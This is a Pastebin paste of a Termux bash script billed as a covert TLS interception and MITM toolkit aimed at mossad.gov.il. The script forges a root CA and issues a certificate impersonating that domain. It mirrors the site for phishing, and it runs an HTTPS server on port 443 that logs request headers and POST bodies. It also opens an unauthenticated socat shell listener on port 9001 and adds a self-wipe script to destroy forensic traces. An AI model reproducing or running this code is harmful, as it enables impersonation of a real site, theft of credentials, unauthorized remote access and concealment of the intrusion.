Advertisement
WhosYourDaddySec

GHOST TLS CONTROL MODULE

May 1st, 2025
224
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 5.88 KB | None | 0 0
  1. #!/data/data/com.termux/files/usr/bin/bash
  2.  
  3. clear
  4. echo
  5. echo "────────────────────────────────────────────────────────────────────────────"
  6. echo "                          GHOST TLS CONTROL MODULE"
  7. echo "────────────────────────────────────────────────────────────────────────────"
  8. echo
  9. echo "An advanced, multi-vector TLS interception and emulation suite engineered for"
  10. echo "covert network exploitation, surveillance, and command deployment. This module"
  11. echo "leverages a forged Certificate Authority (CA) to hijack and impersonate secure"
  12. echo "HTTPS communications, enabling man-in-the-middle (MITM) attacks at scale."
  13. echo
  14. echo "Features:"
  15. echo " - Autonomous generation of persistent TLS tunnels using rogue certificates."
  16. echo " - Real-time traffic logging for HTTP(S) GET and POST payload capture."
  17. echo " - Seamless replication of live target websites for phishing and data siphoning."
  18. echo " - Integrated reverse shell listener for persistent access via encrypted channels."
  19. echo " - Full compatibility with offensive infrastructure, including exfiltration vectors."
  20. echo
  21. echo "Operational Security:"
  22. echo " - Self-wiping routines purge forensic traces, logs, and memory-resident processes."
  23. echo " - No dependency on root privileges—designed for stealth operations in Termux."
  24. echo
  25. echo "WARNING: Deployment of this module against live infrastructure without explicit"
  26. echo "authorization constitutes a breach of international cybercrime statutes."
  27. echo
  28. echo "────────────────────────────────────────────────────────────────────────────"
  29. echo
  30.  
  31. ROOT="$HOME/.ghost_tls"
  32. TARGET="mossad.gov.il"
  33. CN="$TARGET"
  34. MIRROR="$ROOT/site_mirror"
  35. LOG="$ROOT/logs"
  36. FIFO="$ROOT/control"
  37. PID_FILE="$ROOT/pids.txt"
  38.  
  39. mkdir -p "$ROOT/newcerts" "$MIRROR" "$LOG"
  40. cd "$ROOT" || exit 1
  41.  
  42. touch index.txt
  43. echo 1000 > serial
  44.  
  45. cat > openssl.conf <<EOF
  46. [ ca ]
  47. default_ca = CA_default
  48. [ CA_default ]
  49. dir = .
  50. database = index.txt
  51. new_certs_dir = ./newcerts
  52. certificate = ./ca_cert.pem
  53. serial = serial
  54. private_key = ./ca_key.pem
  55. default_days = 3650
  56. default_md = sha256
  57. policy = policy_loose
  58. x509_extensions = v3_ca
  59. [ policy_loose ]
  60. commonName = supplied
  61. [ req ]
  62. default_bits = 4096
  63. distinguished_name = req_distinguished_name
  64. x509_extensions = v3_ca
  65. string_mask = utf8only
  66. default_md = sha256
  67. prompt = no
  68. [ req_distinguished_name ]
  69. CN = GhostSec Root Authority
  70. [ v3_ca ]
  71. subjectKeyIdentifier = hash
  72. authorityKeyIdentifier = keyid:always,issuer
  73. basicConstraints = critical, CA:true
  74. keyUsage = critical, digitalSignature, cRLSign, keyCertSign
  75. extendedKeyUsage = serverAuth, clientAuth
  76. [ v3_target_cert ]
  77. authorityKeyIdentifier = keyid,issuer
  78. basicConstraints = CA:FALSE
  79. keyUsage = critical, digitalSignature, keyEncipherment
  80. extendedKeyUsage = serverAuth, clientAuth
  81. subjectAltName = @alt_names
  82. [ alt_names ]
  83. DNS.1 = $TARGET
  84. DNS.2 = www.$TARGET
  85. DNS.3 = *.$TARGET
  86. EOF
  87.  
  88. openssl genpkey -algorithm RSA -out ca_key.pem -pkeyopt rsa_keygen_bits:4096
  89. openssl req -x509 -new -key ca_key.pem -sha256 -days 3650 -out ca_cert.pem -config openssl.conf
  90.  
  91. openssl genpkey -algorithm RSA -out tls_key.pem -pkeyopt rsa_keygen_bits:2048
  92.  
  93. cat > csr.conf <<EOF
  94. [ req ]
  95. default_bits = 2048
  96. prompt = no
  97. default_md = sha256
  98. distinguished_name = dn
  99. req_extensions = v3_req
  100. [ dn ]
  101. CN = $CN
  102. [ v3_req ]
  103. keyUsage = critical, digitalSignature, keyEncipherment
  104. extendedKeyUsage = serverAuth, clientAuth
  105. subjectAltName = @alt_names
  106. [ alt_names ]
  107. DNS.1 = $TARGET
  108. DNS.2 = www.$TARGET
  109. DNS.3 = *.$TARGET
  110. EOF
  111.  
  112. openssl req -new -key tls_key.pem -out target.csr -config csr.conf
  113. openssl ca -batch -config openssl.conf -extensions v3_target_cert -days 825 -notext -in target.csr -out tls_cert.pem
  114.  
  115. wget --mirror --convert-links --adjust-extension --page-requisites --no-parent https://$TARGET -P "$MIRROR"
  116.  
  117. cat > interceptor.py <<EOF
  118. import ssl, http.server
  119. class GhostHandler(http.server.BaseHTTPRequestHandler):
  120.     def do_GET(self):
  121.         with open("$LOG/log.txt", "a") as f:
  122.             f.write("[GET] " + self.path + "\\n")
  123.             for k, v in self.headers.items(): f.write(f"{k}: {v}\\n")
  124.         self.send_response(200); self.end_headers(); self.wfile.write(b"GhostSec Proxy Active")
  125.     def do_POST(self):
  126.         length = int(self.headers.get('Content-Length', 0))
  127.         data = self.rfile.read(length).decode()
  128.         with open("$LOG/log.txt", "a") as f:
  129.             f.write("[POST] " + self.path + "\\n" + data + "\\n")
  130.         self.send_response(200); self.end_headers(); self.wfile.write(b"POST Captured")
  131. httpd = http.server.HTTPServer(('0.0.0.0', 443), GhostHandler)
  132. httpd.socket = ssl.wrap_socket(httpd.socket, keyfile="tls_key.pem", certfile="tls_cert.pem", ca_certs="ca_cert.pem", server_side=True)
  133. httpd.serve_forever()
  134. EOF
  135.  
  136. cat > listener.sh <<EOF
  137. #!/bin/bash
  138. while true; do
  139.   socat TCP-LISTEN:9001,reuseaddr,fork EXEC:/data/data/com.termux/files/usr/bin/bash
  140. done
  141. EOF
  142.  
  143. chmod +x listener.sh interceptor.py
  144. nohup bash listener.sh > "$LOG/pipe.log" 2>&1 & echo $! >> "$PID_FILE"
  145. nohup python interceptor.py > "$LOG/interceptor.log" 2>&1 & echo $! >> "$PID_FILE"
  146.  
  147. cat > cleanup.sh <<EOF
  148. #!/data/data/com.termux/files/usr/bin/bash
  149. echo "Self-destruct sequence initiated..."
  150. for pid in \$(cat "$PID_FILE"); do
  151.   kill -9 \$pid 2>/dev/null
  152. done
  153. rm -rf "$ROOT"
  154. echo "Wipe complete. All modules and traces removed."
  155. EOF
  156.  
  157. chmod +x cleanup.sh
  158.  
  159. echo
  160. echo "Module active. To terminate and wipe all traces, run:"
  161. echo "bash $ROOT/cleanup.sh"
  162. echo
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement